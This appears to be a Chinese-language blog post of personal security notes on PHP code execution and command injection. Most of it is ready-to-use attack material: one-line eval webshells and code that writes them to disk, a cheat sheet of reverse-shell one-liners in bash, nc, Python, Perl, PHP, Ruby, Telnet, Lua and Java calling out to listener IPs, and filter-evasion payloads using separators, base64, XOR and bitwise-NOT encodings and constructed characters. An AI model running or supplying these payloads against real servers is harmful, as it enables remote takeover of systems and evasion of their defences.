MYBLOG

知识库——命令&代码执行

2021-03-15 06:25:14ans

基础

常见函数:

代码执行:

1、eval()

eval() 函数把字符串按照 PHP 代码来计算,如常见的一句话后门程序:<?php eval($_POST[cmd])?>

2、assert()

与eval类似,字符串被 assert() 当做 PHP 代码来执行,如:

示例代码:

  1. <?php
  2. //?cmd=phpinfo()
  3. assert($_REQUEST[cmd]);
  4. ?>

在php5中是个函数,在php7里被改为了和eval一样的语言特性。

3、preg_replace()

  1. mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分, 以replacement进行替换。

preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使preg_replace() 将 replacement 参数当作 PHP 代码

示例代码:

  1. <?php
  2. //?cmd=phpinfo()
  3. @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
  4. ?>

4、create_function()

create_function主要用来创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

代码示例:

  1. <?php
  2. //?cmd=phpinfo();
  3. $func =create_function('',$_REQUEST['cmd']);
  4. $func();
  5. ?>

5、array_map()

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

代码示例:

  1. <?php
  2. //?func=system&cmd=whoami
  3. $func=$_GET['func'];
  4. $cmd=$_GET['cmd'];
  5. $array[0]=$cmd;
  6. $new_array=array_map($func,$array);
  7. //print_r($new_array);
  8. ?>

6、call_user_func()/call_user_func_array ()

call_user_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

  1. <?php
  2. //?cmd=phpinfo()
  3. @call_user_func(assert,$_GET['cmd']);
  4. ?>
  5. <?php
  6. //?cmd=phpinfo()
  7. $cmd=$_GET['cmd'];
  8. $array[0]=$cmd;
  9. call_user_func_array("assert",$array);
  10. ?>

7、array_filter()

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

  1. <?php
  2. //?func=system&cmd=whoami
  3. $cmd=$_GET['cmd'];
  4. $array1=array($cmd);
  5. $func =$_GET['func'];
  6. array_filter($array1,$func);
  7. ?>

8、usort()、uasort()

和Python中的**kwargs,类似,在PHP中可以使用 func(...$arr)这样的方式,将$arr数组展开成多个参数,传入func函数。

使用:

  1. php环境>=5.6才能用
  2. 例如代码
  3. <?php
  4. eval($_REQUEST['param']);
  5. ?>
  6. 可以用如下方式来执行命令:
  7. POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
  8. post参数:
  9. param=usort(...$_GET);

usort() 通过用户自定义的比较函数对数组进行排序。

uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

9、文件操作函数

file_put_contents() 函数把一个字符串写入文件中。

fputs() 函数写入文件

代码示例:

  1. <?php
  2. $test='<?php eval($_POST[cmd]);?>';
  3. file_put_contents('test1.php',$test);
  4. ?>
  5. <?php
  6. fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');
  7. ?>

10、动态函数

PHP函数直接由字符串拼接

代码示例:

  1. <?php
  2. //?a=assert&b=phpinfo()
  3. $_GET['a']($_GET['b']);
  4. ?>

11、${}执行代码(在双引号中倘若有${}出现,那么{}内的内容将被当做php代码块来执行。)
方法:${php代码}

  1. ${phpinfo()};

命令执行:

1. system() :
system — 执行外部程序(命令行),并且显示输出
这个函数会将结果直接进行输出 (注意:是直接输出区别于返回值,因为这个,我一般不用它),命令成功后返回输出的最后一行,失败返回FALSE

2. shell_exec():
shell_exec — 通过 shell 环境执行命令 ( 这就意味着这个方法只能在 linux 或 mac os的shell环境中运行 ),并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回 NULL。

3. exec():
exec — 执行一个外部程序
返回命令执行结果的最后一行内容。不显示回显。如果想要获取命令的输出内容, 请确保使用 output 参数,或者利用这个函数来构建反弹shell。

4. passthru():
passthru — 执行外部程序并且显示原始输出。

5. 反引号

反引号的内容当做字符串处理时可以执行命令:

  1. echo `<命令>`

6. 花括号
{command,}
7.echo命令

  1. echo ls|sh
  2. echo cat /flag|bash

反弹shell

https://www.cnblogs.com/-mo-/p/11988065.html和https://www.jianshu.com/p/3f1fb6cc6d3c摘录

1.bash(无特殊说明本机均nc -lvvp xxx监听端口)

  1. bash -i >& /dev/tcp/x.x.x.x/1234 0>&1

2.nc -e

  1. nc -e /bin/bash 192.168.80.134 1234

3.nc无-e可用管道反弹shell,本机监听两个端口1234和4321,目标主机输入

  1. nc 192.168.80.134 1234 | /bin/bash | nc 192.168.80.134 4321

两个端口分别用来输入和输出

如果只监听一个端口,可以:

  1. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f

4.python

  1. python -c
  2. '
  3. import socket,subprocess,os;
  4. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
  5. s.connect(("192.168.80.134",1234));
  6. os.dup2(s.fileno(),0);
  7. os.dup2(s.fileno(),1);
  8. os.dup2(s.fileno(),2);
  9. p=subprocess.call(["/bin/bash","-i"]);
  10. '

5.perl

  1. perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

不依赖/bin/bash:

  1. perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

6.Windows

  1. perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

7.php

  1. php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

8.ruby

  1. ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

9.exec

分步运行:

  1. exec 5<>/dev/tcp/10.0.0.1/4444
  2. cat <&5 | while read line; do $line 2>&5 >&5; done

直接运行:

  1. 0<&196;exec 196<>/dev/tcp/10.0.0.1/4444; sh <&196>&196 2>&196

10.java

  1. r = Runtime.getRuntime()
  2. p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
  3. p.waitFor()

11.telnet

  1. mknod backpipe p && telnet 10.0.0.1 4444 0<backpipe | /bin/bash 1>backpipe

也可:

  1. rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p

也可监听两个端口,目标主机执行:

  1. telnet x.x.x.x 4444 | /bin/bash | telnet x.x.x.x 5555

12.Lua

  1. lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

13.wget栈溢出

  1. #版本:wget 1.19.2 前
  2. #解释:wget 在下载文件时,如接收到重定向(401未认证)时,会将数据传递给skip_short_body () 函数处理,在该函数中会调用 strtol () 来对每个块的长度进行读取,在 1.19.2 版本之前,skip_short_body () 函数并没有对读取到的 块的长度 的正负进行检查。然后程序使用 MIN 宏在长度跟 512 之间选择一个最小的长度给 contlen,将此长度传给 fd_read () 作为参数向栈上读入相应字节的内容。但是若 某块的长度 为负,经 strtol () 处理后,返回的 size 为有符号整形 (8-byte),最高位为1,MIN () 宏也会认 size 比 512 小,会将此 8-byte 负数作为参数传给 fd_read (),fd_read () 只取其低 4-byte。因此 contlen 可控,栈上写内容的长度也可控,可以造成栈溢出来反弹

14.注解

  1. bash -i 打开一个交互的bash
  2. >& 将标准错误输出重定向到标准输出
  3. /dev/tcp/x.x.x.x/port 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ipport为端口
  4. 0>&1 标准输入重定向到标准输出,实现你与反弹出来的shell的交互

注:/dev/tcp/ 是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。

linux shell下常用的文件描述符是:

1.标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
2.标准输出 (stdout):代码为 1 ,使用 > 或 >> ;
3.标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

另外由于不同Linux发行版之间的差异,该命令在某些系统上可能并不适用。

Bypass

基础bypass

1.Windows环境下的tricks总结

1.1 逻辑连接符

windows支持:

| 直接执行后面的语句 ping 127.0.0.1|whoami

|| 前面出错执行后面的 ,前面为假 ping 2 || whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami


1.2 分隔符

可当作空字符的分隔符:

who”ami(双引号)

who%0dami (php环境)

who^ami(^为转义符)

无回显延时注入

windows ping 127.0.0.1 -n 5 >null


1.3 CMD窗口的set命令和变量

可以通过set设置变量来执行命令:

  1. set a=who
  2. set b=ami
  3. %a%%b%

如果想把它写成一句则可写作如下形式:

  1. set a=who&&set b=ami&& %a%%b%

这种方式有个需要注意的地方,即设置变量时空格也会作为变量值的一部分,例如下面:

  1. set a=who && set b=ami && %a%%b% //变量a赋予的值其实是who (有空格),因此执行不了命令

但是这种方式也有问题,即整条语句执行完之后变量才会被赋值,因此这一条语句最后的%a%%b%其实值未被赋予,需要第二次再输入%a%%b%才可以。

由于web交互的session是一次性的,因此这个无法用于web环境,只能在CMD窗口中使用。


1.4 Windows 截取变量字符

可以用%var:~x,y%获取变量var的从第x个字符开始的y个字符(从0开始)。

也可以用~-x,-y,表示从倒数第x个字符开始,少取y个字符。

  1. C:\Users\DELL>set a=whoami
  2. C:\Users\DELL>%a%
  3. desktop-qb90h72\dell
  4. C:\Users\DELL>%a:~0,2%
  5. 'wh' 不是内部或外部命令,也不是可运行的程序
  6. 或批处理文件。
  7. C:\Users\DELL>%a:~-5,-3%
  8. 'ho' 不是内部或外部命令,也不是可运行的程序
  9. 或批处理文件。

这样可以构造许多被禁止的字符,例如空格等都可以通过截取环境变量来获得。

windows自带path环境变量,可以用path变量里的各种字符,例如提取whoami:

  1. C:\Users\DELL>path
  2. PATH=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;D:\GGZero\OpenSSH\bin;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;G:\cocos2d-x\cocos2dx\templates;G:\cocos2d-x\cocos2dx\tools\cocos2d-console\bin;C:\Users\DELL\AppData\Local\Programs\Python\Python36\Scripts\;C:\Users\DELL\AppData\Local\Programs\Python\Python36\;D:\新建文件夹\Tools\WinNT;D:\新;文件夹\MSDev98\Bin;D:;新建文件夹\Tools;D:\M;crosoft Visual Studio\VC98\bin;C:\Users\DELL\AppData\Local\Microsoft\WindowsApps;C:\Users\DELL\AppData\Local\atom\bin;C:\Python27;G:\MATLAB\java;F:\Cyber\phpStudy;C:\Python27\SQLMAP;C:\Users\DELL\AppData\Local\Programs\Python\Python36;C:\Users\DELL\AppData\Local\Programs\Python\Python36\Scripts;G:\米斯特\Burpsuite+1.7.26+Unlimited\curl-7.64.0-win64-mingw\bin;G:\java\jdk1.8.0_241\bin;Sublime Text 3;C:\Python27\Tools\Scripts;G:\Environment\Vagrant\bin;G:\Mr\Nmap\;G:\Anaconda3\Scripts;G:\cocos2d-x\apache-ant-1.10.7\bin;G:\cocos2d-x\WebStorm 2019.2\bin;;C:\Windows\System32;E:\PhpStorm 2019.3.2\bin;;G:\Mr\Burpsuite+1.7.26+Unlimited\yafu-大数分解;G:\Mr\OpenSSL-Win64\bin;G:\java\bin;G:\apache-maven-3.6.3\bin;G:\java\jdk1.8.0_241\jre\bin;C:\Program Files (x86)\Google\Chrome\Application;C:\usr\bin;E:\phantomjs-2.1.1-windows\bin;E:\wamp64\bin\mysql\mysql5.7.21\bin;F:\screenrecord\Video Compresser\ffmpeg\bin;G:\Anaconda3;G:\Anaconda3\Library\bin;
  3. C:\Users\DELL>%path:~82,1%%path:~55,1%%path:~5,1%%path:~8,1%%path:~9,1%%path:~12,1%
  4. desktop-qb90h72\dell

且这个方式在web环境里仍然可用

2.Linux环境下的tricks总结

2.1 逻辑连接符

Linux支持:

; 前面的执行完执行后面的 ping 127.0.0.1;whoami

| 管道符,显示后面的执行结果 ping 127.0.0.1|whoami

|| 当前面的执行出错时执行后面的 ping 1||whoami

& 前面的语句为假则直接执行后面的,前面可真可假 ping 127.0.0.1&whoami

&&前面的语句为假则直接出错,后面的也不执行,前面只能为真 ping 127.0.0.1&&whoami


2.2 分隔符

who’’ami(偶数个单引号)

who$1ami(\$代表变量)

who\ami(反斜杠)

{ls,-alt}(大括号代替空格,貌似只能在shell窗口中,web环境里不行)

ls<>alt(用<>代替空格)

无回显延时注入

linux: sleep 5


2.3 截取字符变量

比windows简单,不用set命令可以直接赋值,用$表示变量

  1. a=who
  2. b=ami
  3. $a$b

但是linux中可以在一句话中完成赋值和执行:

  1. a=who;b=ami;$a$b

因此能够用在web环境里

还有要注意的一点是,linux里如果给变量赋的值有空格需要用引号包裹:

  1. t=l;j=s;i=" -al";$t$j$i

2.4 用whois和nc反弹shell

即一方用nc监听端口:

  1. nc -lvvp 端口

另一方用whois执行命令获得结果:

  1. whois -h ip -p 端口 `命令`

2.5 通配符

linux中?匹配任意一个字符,*匹配任意0到多个字符

可以从目录找到命令的可执行文件来执行命令:

  1. /*/bin/wh*mi

除此之外,[^a]表示字符不是a,[0-9]、[abcd]等可以限定范围


2.6 字符截取

像windows里的一样,格式是${var:x:y},var表示变量名,x表示起始位置,y表示截取的长度


2.7 输出重定向

linux中用<表示输入重定向,就是将<后面的文件取代键盘作为输入设备,而>是输出重定向,将>后面的文件取代屏幕作为输出设备。在有长度限制的shell里使用重定向非常实用。

同时还可以使用<>绕过空格。


2.8 特殊的base64编码

可以将命令先用base64编码,再在执行命令的时候加上解码从而执行命令:

  1. `echo d2hvYW1p|base64 -d`

加上``表示将这里面输出的内容作为命令执行

3.用伪协议绕过文件写入限制

限制文件写入内容时如果可用伪协议可用php://filter/write写入内容,拼接第二个参数的内容

y6VPeI.md.png

无字母无数字类Bypass

1.(代码执行)异或

源码就写个<?php eval($_GET['test']);?>吧。

ascii码表包含了1-127所对应的字符,当数字和字母都被禁了的时候,可以用其他字符求异或来得到字母和数字。可以写脚本找到有用的组合。

https://www.jianshu.com/p/a68f3f1f30eb找的unicode表里128-255的组合:

  1. %81^%FF=>~ %82^%FF=>} %83^%FF=>|
  2. %84^%FF=>{ %85^%FF=>z %86^%FF=>y
  3. %87^%FF=>x %88^%FF=>w %89^%FF=>v
  4. %8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
  5. %8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
  6. %90^%FF=>o %91^%FF=>n %92^%FF=>m
  7. %93^%FF=>l %94^%FF=>k %95^%FF=>j
  8. %96^%FF=>i %97^%FF=>h %98^%FF=>g
  9. %99^%FF=>f %9A^%FF=>e %9B^%FF=>d
  10. %9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
  11. %9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
  12. %A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
  13. %A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
  14. %A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
  15. %AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
  16. %AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
  17. %B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
  18. %B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
  19. %B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
  20. %BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
  21. %BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
  22. %C0^%FF=>?

拼凑多个字符可以用()和.连接,如phpinfo:

  1. ?test=((%8F^%FF).(%97^%FF).(%8F^%FF).(%96^%FF).(%91^%FF).(%99^%FF).(%90^%FF))();//phpinfo

也可以直接连起来异或,这样长度更短:

  1. ?test=%8F%97%8F%96%91%99%90^%ff%ff%ff%ff%ff%ff%ff();

但直接拼凑phpinfo()字符串在本地wamp环境里成功了但是在VPS的linux上没成功。

字符串变量从php5.3起可以直接当函数执行,例如$a='phpinfo';$a()但是php7里assert被改成了语言特性所以无法把assert当作函数执行),同时php7增加了新的调用函数的方法(php5不行,即:

  1. ('phpinfo')()

因此我们可以构造eval($_GET['xx']())然后在URL上增加GET参数xx=phpinfo:

如果用$_GET[‘xx’]不好表示,可以用\${_GET}{xx}来代替:

  1. ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
  2. //$_GET[%ff]();&%ff=phpinfo

这里有一点要注意的是如果写的是$_GET[xx];&xx=phpinfo()是不会执行的:

https://cloud.tencent.com/developer/article/1194018给出了原因:

ycrb4I.md.png


2.(代码执行)取反

将字符串对应的01串取反,在执行的时候再取反变回来:

  1. (~%8F%97%8F%96%91%99%90)();//phpinfo()

在php里可以轻松得到任何字符串取反后的编码表示:$a = urlencode(~'phpinfo');

(ps这个也是直接拼凑出”phpinfo()”字符串,在VPS上没成功)

3.上传临时文件执行命令

如果我们可以上传一个文件,用.来执行这个文件就可以成功getshell。

首先我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。

可以用 /???/?????????匹配该文件,用./???/?????????来执行

文件里写的是要执行的命令,可以是在目录生成新的马等操作。

但往往/tmp目录下的文件没有执行权限,且上传后很快就会删除,因此需要竞争。

4.一些tricks

短标签代替分号

  1. <?=$a=1?><?=$a?>
  2. 相当于<?=$a=1;echo $a;?>

同时短标签有两种,<??><?=?><??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>。例如:

但实际上在PHP5.4以后,无论short_open_tag是否开启,<?=?>这种写法总是适用的,<??>这种写法则需要short_open_tag开启才行。

方括号被过滤

  1. $_GET{a}也可

扩展字符

  1. 1/00/0返回的是float(NAN)和float(INF),转字符串后就变成了"NAN""INF",可以用截取等方式得到'A''N''I''F'字符,可以扩展到所有字符。
  1. truefalsephp里可以认为是10null也是0,因此true/false就等同于1/0
  1. truefalse可以从逻辑表达式得到,随便一个比如a>b,或者构造空数组[]>[]为false,[[]]>[]为true

其他方法包括进制转换、日期函数、数学函数、递增递减++—等

5.Bypass_Disable_functions

https://www.cnblogs.com/hookjoy/p/10395317.html里有非常详细的描述

https://github.com/l3m0n/Bypass_Disable_functions_Shell有写好的exp,zip文件下载到G:Mr里了

函数禁用列表:

  1. dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

bypass方式包含:

  • 常规绕过: exec、shell_exec、system、passthru、popen、proc_open
  • ld_preload绕过: mail、imap_mail、error_log、mb_send_mail
  • pcntl_exec
  • imap_open
  • fastcgi
  • com
  • apache mod-cg

6.自动类型转换

根本上是由于php的弱类型,对字符用.拼接的时候会自动进行转换成字符串类型。

于是结合上面说的,(1/0)是float类型,但是(1).(1/0)则就变成了字符串类型,输出出来是1INF。再用[]或者{}即可取其中某一个字符。

如果可以用函数那就可以用substr等函数截取。

貌似只有php7可以,php5不行

转换表(摘自https://www.anquanke.com/post/id/207492):

  1. <?php
  2. error_reporting(0);
  3. $_00 = '((0).(0)){0}&((0/0).(1)){1}';//0000 0000
  4. $_10 = '((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))';//0001 0000
  5. $_20 = '(((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1})';//0010 0000 space
  6. $_21 = '(((1).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0001 !
  7. $_22 = '(((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0010 "
  8. $_23 = '(((3).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0011 //
  9. $_24 = '(((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3})';//0010 0100 $
  10. $_25 = '(((5).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0101 %
  11. $_26 = '(((6).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0110 &
  12. $_27 = '(((7).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0111 '
  13. $_28 = '(((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1000 (
  14. $_29 = '(((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1001 )
  15. $_2a = '((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))|((((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1010 *
  16. $_2b = '((9999999999*999999999).(0)){12}';//0010 1011 +
  17. $_2c = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1100 ,
  18. $_2d = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1101 -
  19. $_2e = '((3333/4).(0)){3}';//0010 1110 .
  20. $_2f = '((3333/4).(0)){3}|((9999999999*999999999).(0)){12}';//0010 1111 /
  21. $_30 = '((0).(0)){0}';//0011 0000 0
  22. $_31 = '((1).(0)){0}';//0011 0001 1
  23. $_32 = '((2).(0)){0}';//0011 0010 2
  24. $_33 = '((3).(0)){0}';//0011 0011 3
  25. $_34 = '((4).(0)){0}';//0011 0100 4
  26. $_35 = '((5).(0)){0}';//0011 0101 5
  27. $_36 = '((6).(0)){0}';//0011 0110 6
  28. $_37 = '((7).(0)){0}';//0011 0111 7
  29. $_38 = '((8).(0)){0}';//0011 1000 8
  30. $_39 = '((9).(0)){0}';//0011 1001 9
  31. $_3a = '(((8).(0)){0})|(((2).(0)){0})';//0011 1010 :
  32. $_3b = '(((8).(0)){0})|(((3).(0)){0})';//0011 1011 ;
  33. $_3c = '(((8).(0)){0})|(((4).(0)){0})';//0011 1100 <
  34. $_3d = '(((8).(0)){0})|(((5).(0)){0})';//0011 1101 =
  35. $_3e = '(((8).(0)){0})|(((6).(0)){0})';//0011 1110 >
  36. $_3f = '(((8).(0)){0})|(((7).(0)){0})';//0011 1111 ?
  37. $_40 = '((0/0).(1)){1}&((0/0).(1)){0}';//0100 0000 @
  38. $A = '((0/0).(1)){1}';//0100 0001 A
  39. $B = '(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))';//0100 0010 B
  40. $C = '((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))';//0100 0011 C
  41. $D = '(((0/0).(1)){0}&((9999999999*999999999).(0)){11})';// 0100 0100 D
  42. $E = '((9999999999*999999999).(0)){11}';//0100 0101 E
  43. $F = '(((1/0).(0)){2})';//0100 0110 F
  44. $G = '(((0/0).(1)){1})|(((1/0).(0)){2})';//0100 0111 G
  45. $H = '((((1/0).(0)){0})&((0/0).(1)){0})';//0100 1000 H
  46. $I = '(((1/0).(0)){0})';//0100 1001 I
  47. $J = '((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1010 J
  48. $K = '(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1011 K
  49. $L = '((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1100 L
  50. $M = '((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1101 M
  51. $N = '((0/0).(1)){0}';//0100 1110 N
  52. $O = '((0/0).(1)){1}|((0/0).(1)){0}';//0100 1111 O
  53. $P = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}&((0/0).(1)){0})';//0101 0001 P
  54. $Q = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1})';//0101 0001 Q
  55. $R = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))';//0101 0010 R
  56. $S = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))))';//0101 0011 S
  57. $T = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){0}&((9999999999*999999999).(0)){11}))';//0101 0100 T
  58. $U = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((9999999999*999999999).(0)){11})';//0101 0101 U
  59. $V = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){2}))';//0101 0110 V
  60. $W = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){1})|(((1/0).(0)){2}))';//0101 0111 W
  61. $X = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((1/0).(0)){0})&((0/0).(1)){0}))';//0101 1000 X
  62. $Y = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){0}))';//0101 1001 Y
  63. $Z = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1010 Z
